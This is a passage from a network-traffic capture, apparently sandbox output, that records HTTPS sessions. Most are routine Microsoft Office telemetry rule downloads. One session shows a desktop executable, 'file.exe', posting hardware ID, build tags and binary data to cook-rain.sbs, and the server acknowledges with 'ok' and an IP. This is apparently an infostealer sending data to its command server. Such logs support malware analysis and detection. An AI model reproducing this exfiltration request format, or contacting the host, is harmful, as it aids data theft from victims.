2024-11-20 07:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 35891a85-601e-0070-700c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071225Z-1777c6cb754xlpjshC1TEBv8cc00000009e0000000005q7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49762	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:25 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071225Z-1777c6cb754j8gqphC1TEB5bf80000000990000000000q5g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49765	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:25 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071225Z-1777c6cb754gvvgfhC1TEBz4rg00000009dg000000000whw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49764	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:25 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071225Z-1777c6cb754xlpjshC1TEBv8cc00000009g00000000006kv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49766	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:26 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071226Z-185f5d8b95ctl8xlhC1NYCn94g0000000a1g00000000304y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49767	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:26 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071226Z-185f5d8b95cmd8vfhC1NYC0g4000000005u0000000006805 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49768	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:26 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071226Z-r1d97b9957744xz5hC1TEB5bf8000000089g00000000h4ng x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49770	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:26 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071226Z-185f5d8b95c9mqtvhC1NYCghtc0000000a0g0000000049kh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49769	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:26 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071226Z-1777c6cb7549j9hhhC1TEBzmcc000000093g00000000f15z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49771	188.114.97.3	443	5728	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:26 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UAYVMMAO3S66 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19933 Host: cook-rain.sbs
2024-11-20 07:12:26 UTC	15331	OUT	Data Raw: 2d 2d 55 41 59 56 4d 4d 41 4f 33 53 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 35 34 31 38 33 31 32 37 45 31 34 44 35 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 55 41 59 56 4d 4d 41 4f 33 53 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 55 41 59 56 4d 4d 41 4f 33 53 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 55 41 59 56 4d 4d 41 4f Data Ascii: --UAYVMMAO3S66Content-Disposition: form-data; name="hwid"B54183127E14D51763CFCF7E6C45F838--UAYVMMAO3S66Content-Disposition: form-data; name="pid"3--UAYVMMAO3S66Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--UAYVMMAO
2024-11-20 07:12:26 UTC	4602	OUT	Data Raw: 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: +?2+?2+?o?Mp5p_oI
2024-11-20 07:12:27 UTC	988	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o3m234mh05kqdrq44q1q4l23o6; expires=Sun, 16-Mar-2025 00:59:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=17toqEgTwxdI9w%2Fln09uJxQH16FhlGZg7HfICcS7c1raz2sxPrj1pWYvqOGmeQyuNFhkSaaQRpKiVH%2ByoZtzAyOelKlfDiWw%2Fb095W2KP%2FUAUmd3iUR%2Fc7fxiCndrLzH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a1b83d348c93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1795&sent=17&recv=25&lost=0&retrans=0&sent_bytes=2829&recv_bytes=20886&delivery_rate=1601755&cwnd=199&unsent_bytes=0&cid=2a832fb9ca30255f&ts=618&x=0"
2024-11-20 07:12:27 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 07:12:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49772	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:27 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:27 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ccd0155-401e-0015-24f2-3a0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071227Z-r1d97b99577n5jhbhC1TEB74vn00000008mg0000000004n8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:27 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
